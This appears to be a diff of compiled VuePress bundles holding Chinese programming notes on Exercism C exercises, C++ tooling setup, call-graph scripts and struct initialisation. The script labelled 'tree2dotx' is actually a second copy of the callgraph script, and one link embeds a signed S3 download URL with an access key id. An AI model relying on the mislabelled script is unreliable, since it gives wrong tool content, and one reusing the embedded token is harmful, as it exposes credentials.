To get around this problem, manufacturers print color-coded bands onto the resistors to denote their resistance values. Each band has a position and a numeric value. 为了解决这个问题, 厂商会在电阻器上印上颜色编码带来表示它们的电阻值. 每个有对应的位置和数值

The first 2 bands of a resistor have a simple encoding scheme: each color maps to a single number. 电阻器的前两个圈带有简单的编码方案: 每个颜色都映射到一个单一的数字

In this exercise you are going to create a helpful program so that you don't have to remember the values of the bands. 在这个练习中, 你要创建一个有用的程序, 以便你不必记住带的值

These colors are encoded as follows:

schermafbeelding 2019-02-10 om 13 15 39

The goal of this exercise is to create a way: 这个练习的目标是创建一个方式:

Mnemonics map the colors to the numbers, that, when stored as an array, happen to map to their index in the array: Better Be Right Or Your Great Big Values Go Wrong.
映射颜色到数字, 当存储为数组时, 它们会映射到数组的索引: 映射最好准确否则将可能得到错误的 big values


解题思路

这题给的模板很简略, 就给了一个枚举类型的定义框架, 函数需要去看测试用例来确定返回值, 函数名以及参数

20211221142340

测试用例里用到了两个函数, color_code(WHITE)colors()

color_code() 的参数为头文件中定义的枚举类型参数, 返回值看测试用例应当是整数

colors() 的参数为空, 返回值看测试用例应当是一个枚举数组, 不过需要注意的是返回数组实际上返回的是一个指针, 因此则需要指针指向的数组是不可变的也即该数组不应随着函数调用结束而释放, 因此该数组应当是静态的


code

resistor_color.h
resistor_color.c


Tips

枚举类型

',25),G={href:"https://www.cnblogs.com/yaowen/p/4785342.html",target:"_blank",rel:"noopener noreferrer"},S=s("hr",null,null,-1),C={id:"_2021-12-22-isogram",tabindex:"-1"},N=s("a",{class:"header-anchor",href:"#_2021-12-22-isogram","aria-hidden":"true"},"#",-1),R={href:"https://exercism.org/tracks/c/exercises/isogram",target:"_blank",rel:"noopener noreferrer"},z=s("hr",null,null,-1),I=s("h3",{id:"instructions-1",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#instructions-1","aria-hidden":"true"},"#"),e(" Instructions")],-1),L={href:"https://en.wikipedia.org/wiki/Isogram",target:"_blank",rel:"noopener noreferrer"},U=t('

Determine if a word or phrase is an isogram.

An isogram (also known as a "nonpattern word") is a word or phrase without a repeating letter, however spaces and hyphens are allowed to appear multiple times.

Examples of isograms:

The word isograms, however, is not an isogram, because the s repeats.

hyphens - 连字符


解题思路

新建一个长度为 26 默认值为 0 的整型数组, 遍历 const 字符数组, 定义一个 char ch 接收遍历到的字符, 若 ch 为大写字母则转换为小写字母, 若 ch 并非字母则继续下一步遍历, 将 ch 作为哈希表的键访问对应值, 若为 0 则说明该字符尚未出现过并将其置 1, 若为 1 则说明该字母已经出现过一次, 返回 false

也可以定义一个哈希表, 捏合上面的操作为一个哈希函数

isogram.c


Tips

Exercism Segmentation fault (core dumped)

',14),M={href:"https://www.geeksforgeeks.org/core-dump-segmentation-fault-c-cpp/",target:"_blank",rel:"noopener noreferrer"},D=t('

通常情况该这是由于访问了不该访问的内存导致的, 可以通过 valgrind 来检查

具体情况可能是数组下标越界, 或者是指针指向的内存已被释放或其他原因

在做此题的过程中检查了半天问题, 最终发现是 TestCase 中有 NULL, 我忘记考虑 NULL 的情况了


散点


',7),H={id:"_2021-12-23-hamming",tabindex:"-1"},B=s("a",{class:"header-anchor",href:"#_2021-12-23-hamming","aria-hidden":"true"},"#",-1),O={href:"https://exercism.org/tracks/c/exercises/hamming",target:"_blank",rel:"noopener noreferrer"},Q=s("blockquote",null,[s("p",null,[e("hamming distance 汉明间距;代码间距;汉娩距"),s("br"),e(" hamming code 汉明码(误差检验及纠正码)")])],-1),W=s("h3",{id:"instructions-2",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#instructions-2","aria-hidden":"true"},"#"),e(" Instructions")],-1),V={href:"https://rosalind.info/problems/hamm/",target:"_blank",rel:"noopener noreferrer"},Y=t(`

Calculate the Hamming Distance between two DNA strands.
计算两个 DNA 片段的汉明间距

Your body is made up of cells that contain DNA. Those cells regularly wear out and need replacing, which they achieve by dividing into daughter cells. In fact, the average human body experiences about 10 quadrillion cell divisions in a lifetime!
身体由细胞组成, 细胞内含 DNA. 细胞每天都会衰老, 需要代谢, 它们通过分裂来完成代谢. 实际上, 人类的身体在一生中经历了 10 千万亿次细胞分裂.

When cells divide, their DNA replicates too. Sometimes during this process mistakes happen and single pieces of DNA get encoded with the incorrect information. If we compare two strands of DNA and count the differences between them we can see how many mistakes occurred. This is known as the "Hamming Distance".
细胞分裂时, DNA 也会复制. 有时候会发生错误, 有些 DNA 片段会被编码为错误的信息. 如果我们比较两个 DNA 片段, 并计算两个片段之间的不同, 我们可以看到产生了多少错误. 这称为 "汉明距".

We read DNA using the letters C,A,G and T. Two strands might look like this:

GAGCCTACTAACGGGAT
+CATCGTAATGACGGCCT
+^ ^ ^  ^ ^    ^^
+

They have 7 differences, and therefore the Hamming Distance is 7.

The Hamming Distance is useful for lots of things in science, not just biology, so it's a nice phrase to be familiar with 😃

The Hamming distance is only defined for sequences of equal length, so an attempt to calculate it between sequences of different lengths should not work. The general handling of this situation (e.g., raising an exception vs returning a special value) may differ between languages.


解题思路

那这就没什么难度了, 用 string.h 中的 strlen 函数来计算字符串长度, 不同则返回 -1
否则定义并初始化计数器, 遍历字符串找出不同字符数目即可

Hamming.c


`,14);function j(F,P){const a=l("ExternalLinkIcon");return r(),c("div",null,[m,s("h2",d,[p,e(),s("a",h,[e("2021-12-20-Armstrong Numbers"),n(a)])]),u,s("p",null,[s("a",g,[e("Narcissistic number - Wikipedia"),n(a)])]),v,b,_,f,y,s("h2",T,[w,e(),s("a",x,[e("2021-12-21-Resistor Color"),n(a)])]),A,k,s("p",null,[s("a",E,[e("Maud de Vries, Erik Schierboom"),n(a)])]),q,s("blockquote",null,[s("p",null,[s("a",G,[e("C语言--enum,typedef enum 枚举类型详解 - 哈哈呵h - 博客园 (cnblogs.com)"),n(a)])])]),S,s("h2",C,[N,e(),s("a",R,[e("2021-12-22-Isogram"),n(a)])]),z,I,s("blockquote",null,[s("p",null,[s("a",L,[e("Heterogram (literature)"),n(a)])])]),U,s("blockquote",null,[s("p",null,[s("a",M,[e("Core Dump (Segmentation fault) in C/C++ - GeeksforGeeks"),n(a)])])]),D,s("h2",H,[B,e(),s("a",O,[e("2021-12-23-Hamming"),n(a)])]),Q,W,s("p",null,[s("a",V,[e("The Calculating Point Mutations problem at Rosalind"),n(a)])]),Y])}const X=i(o,[["render",j],["__file","C.html.vue"]]);export{X as default}; diff --git a/assets/CPP.html-1c57b81f.js b/assets/CPP.html-1c57b81f.js new file mode 100644 index 0000000000..c4f470f72d --- /dev/null +++ b/assets/CPP.html-1c57b81f.js @@ -0,0 +1,517 @@ +import{_ as l}from"./plugin-vue_export-helper-c27b6911.js";import{r as p,o as i,c as o,b as s,e as n,d as e,f as t}from"./app-893ba623.js";const c={},r=t('

C++


VisualStudio2019 相关


为什么VS中会建议宏转换为constexpr?

image-20210628184054251

',7),u=s("p",null,"宏是由预处理器而非编译器解析的,比如不能用命名空间,所以使用后必须解除",-1),d=s("p",null,"以及宏很容易带来各式各样的错误,最简单如括号上的错误,还有宏会导致debug困难等等",-1),v={href:"https://www.zhihu.com/question/433057879",target:"_blank",rel:"noopener noreferrer"},k=s("hr",null,null,-1),m=s("h4",{id:"constexpr",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#constexpr","aria-hidden":"true"},"#"),n(" constexpr")],-1),b={href:"https://www.winkp.com/7505.html",target:"_blank",rel:"noopener noreferrer"},h=t('

1、字面值常量:一个形如42的值被称作字面值常量,这样的值一望而知。每个字面值常量都对应一种数据类型,字面值常量的形式和值决定了它的数据类型,包含:

整型和浮点型字面值 字符和字符串字面值 布尔字面值和指针字面值: bool test = false; nullptr是指针字面值;

———————————————— 版权声明:本文为CSDN博主「十一月zz」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/baidu_35679960/article/details/78934193


应该使用 constexpr 的场景

不应该使用 constexpr 的场景

auto


C4996


strcpy_s

strcpy_s(str, strlen(str1)+1, str1);


#pragma once

',19),g={href:"https://docs.microsoft.com/en-us/cpp/preprocessor/once?view=msvc-160",target:"_blank",rel:"noopener noreferrer"},f=s("li",null,[s("p",null,[n("用 VS 新建 .h 头文件时会自动在首行生成一个 "),s("code",null,"#pragma once")])],-1),q=t('

pragma: 编译指示, 杂注


VSCode


在 VSCode 中调试 C++ 程序

使用 VS 的 cl.exe

',7),_={href:"https://blog.csdn.net/qq_34801642/article/details/105453161",target:"_blank",rel:"noopener noreferrer"},E={href:"https://www.jianshu.com/p/c313b1dd9cf3",target:"_blank",rel:"noopener noreferrer"},$=t(`

从 VS 的 工具 -> 获取工具和功能 唤醒 Visual Studio Installer

image-20210701211753367

查看自己的 VS 的安装目录

image-20210701211946680

我这里的路径是: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community 下面配置环境变量要用到

打开 此电脑 -> 属性 -> 高级系统设置 -> 环境变量 并按照如下所示修改 系统变量

// 编辑 Path 变量, 添加如下路径, 注意这里的 VS 目录就是上一步找到的目录
+C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30037\\bin\\Hostx86\\x86
+
+// 新建 INCLUDE 变量并加入如下配置(每条配置间用;隔开)(其实输完第一条配置且加了;并回车确定后再编辑该环境变量就会有编辑弹窗可以一条条新建了); 需要留意的是如果你的 VS 是装在 C:\\Program Files 里的那么这里的 Windows Kits 文件夹可能就在 C:\\Program Files 目录中
+C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30037\\include
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\shared
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\ucrt
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\um
+C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17763.0\\winrt
+
+// 新建 LIB 变量并加入如下配置
+C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.29.30037\\lib\\x86
+C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.17763.0\\um\\x86
+C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.17763.0\\ucrt\\x86
+

修改完这些变量后依次按确定关闭打开的窗口以保存修改

win + R -> cmd 并回车打开命令行窗口, 输入 cl 并回车, 如下所示查看是否配置成功

image-20210701213410915

重启 VSCode 以加载新的环境变量

新建一个目录并使用 VSCode 打开(因为会在 VSCode 当前打开文件夹的根目录下自动生成配置文件, 所以这里先新建一个干净的目录再用 VSCode 打开以免污染外围环境)

新建一个测试用的 cpp 文件如 test.cpp 并将编码调为 GBK (这个我没找到适配 UTF-8 的适配方案, 是一个从我用 VS 来就存在的严重问题.....)

#include <iostream>
+using namespace std;
+
+int main(){
+    cout << "这是一个测试" << endl;
+    return 0;
+}
+

image-20210701214403048

使用 Ctrl + Shift + B 快捷键会唤起该窗口, 选择该项则会在侧边生成编译链接文件

image-20210701214625695

image-20210701214703681

使用 F5 快捷键唤起该窗口并选择 C++ Windows -> cl.exe 会在当前 VSCode 打开的文件夹的根目录下生成一个含有 launch.json 文件 的 .vscode 文件夹

image-20210701214754797

image-20210701214828640

image-20210701215021311

json 文件内容如下:

{
+    // 使用 IntelliSense 了解相关属性。 
+    // 悬停以查看现有属性的描述。
+    // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
+    "version": "0.2.0",
+    "configurations": [
+        {
+            "name": "cl.exe - 生成和调试活动文件",
+            "type": "cppvsdbg",
+            "request": "launch",
+            "program": "\${fileDirname}\\\\\${fileBasenameNoExtension}.exe",
+            "args": [],
+            "stopAtEntry": false,
+            "cwd": "\${fileDirname}",
+            "environment": [],
+            "console": "externalTerminal",
+            "preLaunchTask": "C/C++: cl.exe 生成活动文件"
+        }
+    ]
+}
+

将标签页切换回 test.cpp 并再次按 F5 以执行生成的可执行文件

image-20210701215244986

image-20210701215303198


使用 gcc

`,30),x={href:"https://leojhonsong.github.io/zh-CN/2018/12/30/%E9%85%8D%E7%BD%AEVSCode%E4%B8%AD%E8%B0%83%E8%AF%95C-C-%E7%8E%AF%E5%A2%83/",target:"_blank",rel:"noopener noreferrer"},y=s("br",null,null,-1),w={href:"https://code.visualstudio.com/docs/cpp/config-mingw",target:"_blank",rel:"noopener noreferrer"},C=s("br",null,null,-1),B={href:"https://code.visualstudio.com/docs/languages/cpp",target:"_blank",rel:"noopener noreferrer"},A=s("p",null,"PS: 一般按照上面第三个链接可以较为快捷地完成配置并运行 C++ 程序, 但是有时候配置项可能会出些问题, 所以下面简单描述下",-1),S=t(`

检查 gcc, gdb

gcc --version
+gdb --version
+
`,2),D={href:"https://code.visualstudio.com/docs/languages/cpp",target:"_blank",rel:"noopener noreferrer"},F={href:"https://code.visualstudio.com/docs/languages/cpp#_example-install-mingwx64",target:"_blank",rel:"noopener noreferrer"},P=t('

简单来说就是下载 [msys](https://objects.githubusercontent.com/github-production-release-asset-2e65be/80988227/4fdf0417-d097-4519-854b-133188c60e38?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230613%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230613T095929Z&X-Amz-Expires=300&X-Amz-Signature=e434be09c0fc8a6700ce1027ae10bea8e2078b50c4f75167a9ed1f0895b82fcc&X-Amz-SignedHeaders=host&actor_id=59549826&key_id=0&repo_id=80988227&response-content-disposition=attachment%3B filename%3Dmsys2-x86_64-20220603.exe&response-content-type=application%2Foctet-stream), 在弹出的窗口中使用 pacman -S --needed base-devel mingw-w64-x86_64-toolchain 安装工具链

MSYS (Minimal SYStem) 是一个轻量级的类 Unix 环境,是为 Windows 平台提供的一个集成开发环境。它是一种方便 Windows 用户模拟 Linux 环境和使用一些 Linux 工具的解决方案。

MSYS 最初是为了支持 MinGW (Minimalist GNU for Windows) 而创建的。MinGW 是一个用于生成 Windows 应用程序的 GCC 编译器的轻量级分发版,它不依赖于任何 Unix 系统,而 MSYS 提供了一些帮助 MinGW 工作的 Unix 工具,如 bash shell,以及许多常见 Unix 工具如 grep,sed,awk 等。

总的来说,MSYS 是一个简化的 POSIX/SUS 兼容的 Bourne shell 命令行解释器环境。使用它,开发者可以在 Windows 上运行自动化构建脚本,例如 Bash 脚本和 Makefile 等,从而使在 Windows 上编译 Unix 和 Linux 软件变得更加容易。

image-20230613182822283

msys64\\mingw64\\bin 加到 Path 环境变量中重启 VSCode 加载环境变量即可

',4),T=s("li",null,[s("p",null,"安装 C++ 扩展"),s("p",null,[s("img",{src:"http://cdn.ayusummer233.top/img/202111250933328.png",alt:"Search for c++ in the Extensions view"})])],-1),O=s("p",null,[n("使用 VSCode 打开一个文件夹作为 C++ 工作区, 新建并编辑一个 cpp 文件, 程序编写完成后使用 "),s("code",null,"Ctrl + Shift + B"),n(" 快捷键调出 "),s("code",null,"build task"),n(" 窗口")],-1),V=s("li",null,[s("p",null,"如果看到的是这样的窗口那么直接选择 g++ 那项即可"),s("p",null,[s("img",{src:"http://cdn.ayusummer233.top/img/202111250936260.png",alt:"Select g++.exe task"})])],-1),R={href:"https://leojhonsong.github.io/zh-CN/2018/12/30/%E9%85%8D%E7%BD%AEVSCode%E4%B8%AD%E8%B0%83%E8%AF%95C-C-%E7%8E%AF%E5%A2%83/",target:"_blank",rel:"noopener noreferrer"},I=t(`

配置备份:

`,2),z={href:"https://stackoverflow.com/questions/28236870/undefined-reference-to-stdcout",target:"_blank",rel:"noopener noreferrer"},G=s("hr",null,null,-1),N=s("h2",{id:"实用工具",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#实用工具","aria-hidden":"true"},"#"),n(" 实用工具")],-1),W=s("hr",null,null,-1),M=s("h3",{id:"快捷生成函数调用关系图",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#快捷生成函数调用关系图","aria-hidden":"true"},"#"),n(" 快捷生成函数调用关系图")],-1),U={href:"https://github.com/scottrogowski/code2flow",target:"_blank",rel:"noopener noreferrer"},j=s("hr",null,null,-1),L=s("h4",{id:"callgraph",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#callgraph","aria-hidden":"true"},"#"),n(" callgraph")],-1),Y=s("hr",null,null,-1),Z=s("h6",{id:"ubuntu",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#ubuntu","aria-hidden":"true"},"#"),n(" Ubuntu")],-1),K=s("li",null,[s("p",null,"目前在网上只找到了 Ubuntu 的使用方案")],-1),H=s("p",null,"流程",-1),X=s("li",null,[s("p",null,[n("安装 "),s("code",null,"cflow"),n(" 和 "),s("code",null,"graphviz")]),s("p",null,[s("code",null,"sudo apt-get install cflow graphviz")])],-1),J={href:"https://raw.githubusercontent.com/tinyclub/linux-0.11-lab/master/tools/tree2dotx",target:"_blank",rel:"noopener noreferrer"},Q=s("code",null,"callgraph",-1),ss=t(`

文件中的内容分别如下:

tree2dotx:

#!/bin/bash
+#
+# callgraph -- Generate a callgraph of a specified function in specified file/directory
+#
+# -- Based on cflow and tree2dotx
+#
+# Usage:
+#
+#       $ callgraph
+#
+#               -f func_name
+#               -d directory|file
+#               -F filterstr
+#               -D depth
+#               -o directory
+#
+#
+# Output: ../callgraph/func.dir_file_name.svg
+#
+
+# OS
+OS=$(uname)
+
+# Tree2Dot
+TOP_DIR=$(cd $(dirname $0) && pwd)/
+tree2dotx=\${TOP_DIR}/tree2dotx
+
+# Output directory
+OUT_DIR=\${TOP_DIR}/../callgraph
+[ ! -d $OUT_DIR ] && OUT_DIR=./
+PIC_TYPE=svg
+
+# Get browser
+if [ "x$OS" == "xDarwin" ]; then
+    BROWSER=/Applications/Safari.app/Contents/MacOS/Safari
+else
+    BROWSER=chromium-browser
+fi
+
+# Default setting
+
+# Input: Function Name [Directory Name]
+func=main
+dir=./
+
+# Default depth of the tree
+depth=
+
+# filterstr for tree2dotx
+filterstr=""
+
+# Usage
+
+function usage
+{
+        echo ""
+        echo "  $0 "
+        echo ""
+        echo "   -f func_name"
+        echo "   -d directory|file"
+        echo "   -F filterstr"
+        echo "   -D depth"
+        echo "   -o directory"
+        echo ""
+}
+
+while getopts "F:f:d:D:o:b:h" opt;
+do
+        case $opt in
+                F)
+                        filterstr=$OPTARG
+                ;;
+                f)
+                        func=$OPTARG
+                ;;
+                d)
+                        [ -n "$OPTARG" ] && [ -f "$OPTARG" -o -d "$OPTARG" ] && dir=$OPTARG
+                ;;
+                D)
+                        depth=$OPTARG
+                ;;
+                o)
+                        output=$OPTARG
+                        [ ! -d "$output" ] && mkdir -p $output
+                        OUT_DIR=$output
+                ;;
+                b)
+                        BROWSER=$OPTARG
+                ;;
+                h|?)
+                        usage $0;
+                        exit 1;
+                ;;
+        esac
+done
+
+# Check the function and find out its file
+if [ -d "$dir" ]; then
+	match=\`grep " [a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*(.*)" -iur $dir | grep "\\.[ch]:"\`
+	file=\`echo "$match" | cut -d ':' -f1\`
+else
+	match="$dir"\`grep " [a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*(.*)" -iur $dir\`
+	file="$dir"
+fi
+[ $? -ne 0 ] && echo "Note: No such function found: $func" && exit 1
+echo "Func: $func"
+[ -z "$file" ] && echo "Note: No file found for $func" && exit 1
+
+# Let users choose the target files
+fileno=\`echo $file | tr -c -d ' ' | wc -c\`
+((fileno+=1))
+if [ $fileno -ne 0 ]; then
+	echo "Match: $fileno"
+	echo "File:"
+	echo "     0  All files under $dir"
+	echo "$match" | cat -n
+	files=($file)
+	read -p "Select: 0 ~ $fileno ? " file_in
+	if [ $file_in -ne 0 ]; then
+          while [ $file_in -lt 1 -o $file_in -gt $fileno ]; do
+		read -p "Select: 1 ~ $fileno ? " file_in
+	  done
+	  ((file_in-=1))
+	  file=\${files[$file_in]}
+	  ((file_in+=1))
+        fi
+else
+	file_in=1
+fi
+
+if [ $file_in -ne 0 ]; then
+  [ -z "$file" ] && echo "Note: No file found for $func" && exit 1
+  echo "File: $file"
+  func=\`echo "$match" | sed -n -e "\${file_in},\${file_in}p" | sed -n -e "s/.* \\([a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*\\)(.*).*/\\1/p"\`
+  [ -z "$func" ] && echo "Note: No such function found: $func" && exit 1
+else
+  file="\`find -L $dir -name '*.c' -or -name '*.h' | tr '\\n' ' '\`"
+fi
+
+# Genrate the calling tree of this function
+# Convert it to .dot format with tree2dotx
+# Convert it to jpg format with dot of Graphviz
+if [ $file_in -ne 0 ]; then
+  tmp=\`echo $file | tr '/' '_' | tr '.' '_'\`
+else
+  tmp="all"
+fi
+pic=\${func}.\${tmp}.\${PIC_TYPE}
+long_pic=\${OUT_DIR}/\${pic}
+
+which cflow >/dev/null 2>&1
+if [ $? -ne 0 ]; then
+        echo "Error: cflow doesn't exist, please install it..."
+        exit 1
+else
+        [ -n "$depth" ] && depth=" -d $depth "
+        calltree="cflow -b $depth -m "
+fi
+
+which dot >/dev/null 2>&1
+[ $? -ne 0 ] && "Error: dot doesn't exist, please install graphviz..."
+
+echo "Command: \${calltree}\${func} \${file} | \${tree2dotx} "\${filterstr}" 2>/dev/null | dot -T\${PIC_TYPE} -o $long_pic"
+\${calltree}\${func} \${file} | \${tree2dotx} -f "\${filterstr}" 2>/dev/null | dot -T\${PIC_TYPE} -o $long_pic
+
+# Tell users
+echo "Target: \${file}: \${func} -> \${long_pic}"
+
+# Display it
+which $BROWSER >/dev/null 2>&1
+[ $? -ne 0 ] && exit 0
+$BROWSER \${long_pic} >/dev/null 2>&1 &
+

callgraph:

#!/bin/bash
+#
+# callgraph -- Generate a callgraph of a specified function in specified file/directory
+#
+# -- Based on cflow and tree2dotx
+#
+# Usage:
+#
+#       $ callgraph
+#
+#               -f func_name
+#               -d directory|file
+#               -F filterstr
+#               -D depth
+#               -o directory
+#
+#
+# Output: ../callgraph/func.dir_file_name.svg
+#
+
+# OS
+OS=$(uname)
+
+# Tree2Dot
+TOP_DIR=$(cd $(dirname $0) && pwd)/
+tree2dotx=\${TOP_DIR}/tree2dotx
+
+# Output directory
+OUT_DIR=\${TOP_DIR}/../callgraph
+[ ! -d $OUT_DIR ] && OUT_DIR=./
+PIC_TYPE=svg
+
+# Get browser
+if [ "x$OS" == "xDarwin" ]; then
+    BROWSER=/Applications/Safari.app/Contents/MacOS/Safari
+else
+    BROWSER=chromium-browser
+fi
+
+# Default setting
+
+# Input: Function Name [Directory Name]
+func=main
+dir=./
+
+# Default depth of the tree
+depth=
+
+# filterstr for tree2dotx
+filterstr=""
+
+# Usage
+
+function usage
+{
+        echo ""
+        echo "  $0 "
+        echo ""
+        echo "   -f func_name"
+        echo "   -d directory|file"
+        echo "   -F filterstr"
+        echo "   -D depth"
+        echo "   -o directory"
+        echo ""
+}
+
+while getopts "F:f:d:D:o:b:h" opt;
+do
+        case $opt in
+                F)
+                        filterstr=$OPTARG
+                ;;
+                f)
+                        func=$OPTARG
+                ;;
+                d)
+                        [ -n "$OPTARG" ] && [ -f "$OPTARG" -o -d "$OPTARG" ] && dir=$OPTARG
+                ;;
+                D)
+                        depth=$OPTARG
+                ;;
+                o)
+                        output=$OPTARG
+                        [ ! -d "$output" ] && mkdir -p $output
+                        OUT_DIR=$output
+                ;;
+                b)
+                        BROWSER=$OPTARG
+                ;;
+                h|?)
+                        usage $0;
+                        exit 1;
+                ;;
+        esac
+done
+
+# Check the function and find out its file
+if [ -d "$dir" ]; then
+	match=\`grep " [a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*(.*)" -iur $dir | grep "\\.[ch]:"\`
+	file=\`echo "$match" | cut -d ':' -f1\`
+else
+	match="$dir"\`grep " [a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*(.*)" -iur $dir\`
+	file="$dir"
+fi
+[ $? -ne 0 ] && echo "Note: No such function found: $func" && exit 1
+echo "Func: $func"
+[ -z "$file" ] && echo "Note: No file found for $func" && exit 1
+
+# Let users choose the target files
+fileno=\`echo $file | tr -c -d ' ' | wc -c\`
+((fileno+=1))
+if [ $fileno -ne 0 ]; then
+	echo "Match: $fileno"
+	echo "File:"
+	echo "     0  All files under $dir"
+	echo "$match" | cat -n
+	files=($file)
+	read -p "Select: 0 ~ $fileno ? " file_in
+	if [ $file_in -ne 0 ]; then
+          while [ $file_in -lt 1 -o $file_in -gt $fileno ]; do
+		read -p "Select: 1 ~ $fileno ? " file_in
+	  done
+	  ((file_in-=1))
+	  file=\${files[$file_in]}
+	  ((file_in+=1))
+        fi
+else
+	file_in=1
+fi
+
+if [ $file_in -ne 0 ]; then
+  [ -z "$file" ] && echo "Note: No file found for $func" && exit 1
+  echo "File: $file"
+  func=\`echo "$match" | sed -n -e "\${file_in},\${file_in}p" | sed -n -e "s/.* \\([a-zA-Z0-9_]*\${func}[a-zA-Z0-9_]*\\)(.*).*/\\1/p"\`
+  [ -z "$func" ] && echo "Note: No such function found: $func" && exit 1
+else
+  file="\`find -L $dir -name '*.c' -or -name '*.h' | tr '\\n' ' '\`"
+fi
+
+# Genrate the calling tree of this function
+# Convert it to .dot format with tree2dotx
+# Convert it to jpg format with dot of Graphviz
+if [ $file_in -ne 0 ]; then
+  tmp=\`echo $file | tr '/' '_' | tr '.' '_'\`
+else
+  tmp="all"
+fi
+pic=\${func}.\${tmp}.\${PIC_TYPE}
+long_pic=\${OUT_DIR}/\${pic}
+
+which cflow >/dev/null 2>&1
+if [ $? -ne 0 ]; then
+        echo "Error: cflow doesn't exist, please install it..."
+        exit 1
+else
+        [ -n "$depth" ] && depth=" -d $depth "
+        calltree="cflow -b $depth -m "
+fi
+
+which dot >/dev/null 2>&1
+[ $? -ne 0 ] && "Error: dot doesn't exist, please install graphviz..."
+
+echo "Command: \${calltree}\${func} \${file} | \${tree2dotx} "\${filterstr}" 2>/dev/null | dot -T\${PIC_TYPE} -o $long_pic"
+\${calltree}\${func} \${file} | \${tree2dotx} -f "\${filterstr}" 2>/dev/null | dot -T\${PIC_TYPE} -o $long_pic
+
+# Tell users
+echo "Target: \${file}: \${func} -> \${long_pic}"
+
+# Display it
+which $BROWSER >/dev/null 2>&1
+[ $? -ne 0 ] && exit 0
+$BROWSER \${long_pic} >/dev/null 2>&1 &
+
`,6),ns=s("hr",null,null,-1),as=s("h4",{id:"tceetree-cscope-graphviz",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#tceetree-cscope-graphviz","aria-hidden":"true"},"#"),n(" tceetree + cscope + Graphviz")],-1),es=s("li",null,"远古命令行操作, 貌似很旧了, 个人复现完成了但是没有完全完成, 所以只附个索引在这里(主要还是操作繁琐而且基本都是命令行操作, 我认为应该存在更有效的替代方式)",-1),ts={href:"https://sourceforge.net/p/tceetree/wiki/Home/",target:"_blank",rel:"noopener noreferrer"},ls=s("blockquote",null,[s("p",null,"cscope 的 win 版本需要访问 Google Code")],-1),ps=s("hr",null,null,-1),is=s("h4",{id:"visualstudio-code-graph-扩展",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#visualstudio-code-graph-扩展","aria-hidden":"true"},"#"),n(" VisualStudio Code Graph 扩展")],-1),os=s("p",null,"直接在 VS 扩展管理中搜索安装即可",-1),cs=s("p",null,[s("img",{src:"http://cdn.ayusummer233.top/img/20210630163511.png",alt:"image-20210630163504231"})],-1),rs=s("p",null,"貌似不错的样子, 但是结点要自行拉取, 所以我也只是浅尝辄止",-1),us=s("p",null,[s("img",{src:"http://cdn.ayusummer233.top/img/20210630163553.png",alt:"image-20210630163553198"})],-1),ds={href:"https://marketplace.visualstudio.com/items?itemName=YaobinOuyang.CodeAtlas",target:"_blank",rel:"noopener noreferrer"},vs=s("hr",null,null,-1),ks=s("h4",{id:"cppdepend",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#cppdepend","aria-hidden":"true"},"#"),n(" CppDepend")],-1),ms={href:"https://www.cppdepend.com/thank-you-for-downloading-cppdepend?os=win_exe&email=1369661643@qq.com",target:"_blank",rel:"noopener noreferrer"},bs=t('

安装过程需要从国际互联网拉取更新

image-20210630164031212

image-20210630164107941

image-20210630164122764

检索能力有限, 最终还是决定先用着 CppDepend, 它确实很对我胃口🤣


数据结构


结构体


初始化

',12),hs={href:"https://blog.csdn.net/weixin_43914889/article/details/107869575",target:"_blank",rel:"noopener noreferrer"},gs=t(`
构造函数使用 : 快捷赋值

结构体名(形参): 成员变量1(形参1),成员变量2(形参2){};

#include <iostream>
+using namespace std;
+
+struct test_struct{
+    int a;
+    char b;
+    test_struct(int a=0, char b='b'): a(a), b(b){}
+};
+
+int main(){
+    test_struct tmp1;
+    test_struct tmp2(3,'a');
+    cout<<tmp1.a<<" "<<tmp1.b<<endl;
+    cout<<tmp2.a<<" "<<tmp2.b<<endl;
+    return 0;
+}
+

image-20210701221440259


实例化时使用 {} 赋值初始化
#include <iostream>
+using namespace std;
+
+struct test_struct{
+    int a;
+    char b;
+};
+
+int main(){
+    test_struct tmp3 = {4, 'd'};
+    cout<<tmp3.a<<" "<<tmp3.b<<endl;
+    return 0;
+}
+

image-20210701221836704


老老实实写构造函数初始化
#include <iostream>
+using namespace std;
+
+struct test_struct{
+    int a;
+    char b;
+    test_struct(int a, char b){
+        this->a = a;
+        this->b = b;
+    }
+};
+
+int main(){
+    test_struct tmp4(5,'a');
+    test_struct tmp5 = {6, 'e'};
+    cout<<tmp4.a<<" "<<tmp4.b<<endl;
+    cout<<tmp5.a<<" "<<tmp5.b<<endl;
+    return 0;
+}
+

image-20210701222356252


支持将定义结构体和实例化结构体写在一起
#include <iostream>
+using namespace std;
+
+struct test_struct{
+    int a;
+    char b;
+    test_struct(int a, char b){
+        this->a = a;
+        this->b = b;
+    }
